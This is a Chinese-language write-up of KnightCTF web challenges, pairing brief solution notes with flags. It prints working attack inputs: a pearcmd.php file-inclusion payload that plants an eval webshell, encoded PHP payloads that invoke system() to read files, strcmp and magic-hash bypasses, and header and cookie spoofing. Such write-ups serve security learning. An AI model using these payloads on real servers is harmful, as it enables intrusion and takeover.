KnightCTF WEB

2023-09-29 13:49:04

前言

不难，就是fuzz和脑洞有点多

Do Something Special

按钮点击发现url转到 /gr@b_y#ur_fl@g_h3r3! ，# 明显不对，将其urlencode转码为%23访问出现flag

Flag：KCTF{Sp3cial_characters_need_t0_get_Url_enc0ded}

My PHP Site

文件包含，可以利用伪协议读源码，也可以直接打pearcmd.php来getshell

payload

/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?eval($_POST[0]);?>+-s+

再去包含执行命令

FLAG: KCTF{L0C4L_F1L3_1ncLu710n}

Obsfuscation Isn’t Enough

查看html发现jsfuck
解密发现 150484514b6eeb1d99da836d95f6671d.php

直接访问php文件
FLAG: KCTF{0bfuscat3d_J4v4Scr1pt_aka_JSFuck}

Zero is not the limit

Hint: /user/
开始返回一堆json

/user/ 下对应每一个用户，访问-1出flag

FLAG: KCTF{tHeRe_1s_n0_l1m1t}

Find Pass Code – 1

发现注释：
Hi Serafin, I learned something new today.
I build this website for you to verify our KnightCTF 2022 pass code. You can view the source code by sending the source param

访问：url/?source得到源码

<?php
require "flag.php";
if (isset($_POST["pass_code"])) {
    if (strcmp($_POST["pass_code"], $flag) == 0) {
        echo "KCTF Flag : {$flag}";
    } else {
        echo "Oh....My....God. You entered the wrong pass code.<br>";
    }
}
if (isset($_GET["source"])) {
    print show_source(__FILE__);
}
?>

数组bypass，Post: pass_code[]=1

FLAG: KCTF{ShOuLd_We_UsE_sTrCmP_lIkE_tHaT}

Most Secure Calculator-1

源码

<?php
if (isset($_POST["equation"]) && !is_array($_POST["equation"])) {
if (empty($_POST["equation"])) {
echo "Please enter some eqation.";
} else {
if (strlen($_POST["equation"]) >= 25) {
	echo "Oow ! You have entered an equation that is too big for me.";
} else {
	echo "<h1> Result : <br>";
	eval("echo " . $_POST["equation"] . ";");
	echo "</h1>";
	}}}
?>

直接塞到eval
FLAG：KCTF{WaS_mY_cAlCuLaToR_sAfE}

Find Pass Code - 2

魔术hash
md5

<?php
require "flag.php";
$old_pass_codes = array("0e215962017", "0e730083352", "0e807097110", "0e840922711");
$old_pass_flag = false;
if (isset($_POST["pass_code"]) && !is_array($_POST["pass_code"])) {
    foreach ($old_pass_codes as $old_pass_code) {
        if ($_POST["pass_code"] === $old_pass_code) {
            $old_pass_flag = true;
            break;
        }
    }
    if ($old_pass_flag) {
        echo "Sorry ! It's an old pass code.";
    } else if ($_POST["pass_code"] == md5($_POST["pass_code"])) {
        echo "KCTF Flag : {$flag}";
    } else {
        echo "Oh....My....God. You entered the wrong pass code.<br>";
    }
}
if (isset($_GET["source"])) {
    print show_source(__FILE__);
}
?>

爆破是不可能爆破的，搜集了魔术hash，随便挑个
魔术hash

0e215962017:0e291242476940776845150308577824
0e730083352:0e870635875304277170259950255928
0e807097110:0e318093639164485566453180786895
0e840922711:00e64922204642369621338070008986
0e1137126905:0e291659922323405260514745084877
0e1284838308:0e708279691820928818722257405159
0e2799298535:0e258310720843549656960157258725
0e3335999050:0e130023719718288785799459522477
0e3519466817:0e094940930906507337180165634011

FLAG：KCTF{ShOuD_wE_cOmPaRe_MD5_LiKe_ThAt__Be_SmArT}

Bypass!! Bypass!! Bypass!!

注释发现

<!-- generats auth token -> /api/request/auth_token -->

经过尝试bypass 403 失败

/api/request/auth_token    Allow: POST, OPTIONS
/      Allow: GET, HEAD, OPTIONS

Github搜索得到源码 bug-bounty-labs

添加头部
X-Authorized-For: 获取的token

FLAG：KCTF{cOngRatUlaT10Ns_wElCoMe_t0_y0ur_daShBoaRd}

Most Secure Calculator -2

只允许字母数字，那就是异或取反绕过,fuzz以下构造命令

payload

(~%8C%86%8C%8B%9A%92)(~%D7%DD%8F%88%9B%DD%D6%C4)
("393480"^"@@@@]]")(("8!4@80!8"^"[@@`^@_").(".").("484"^"@@@"))
"\163\171\163\164\145\155"("\143\141\164\40\146\154\141\147\56\164\170\164")

FLAG: KCTF{sHoUlD_I_uSe_eVaL_lIkE_tHaT}

Can you be Admin?

User-Agent: KnightSquad
接着
Referer: localhost

Jsfuck 发现 Unicode，Unicode编码解码 (bt.cn)

F`V,7DIIBn+?CWe@<,q!$?0EpF*DPCA0<oU8RZI/DJ<`sF8

然后ascii85解码， ASCII85解码计算器

username : tareq ，password : IamKnight

登录后是普通用户，然后返回包cookie返回奇怪字段base64后重新更改为Admin，发包发现flag

FLAG: KCTF{FiN4LlY_y0u_ar3_4dm1N}

码农公寓

前言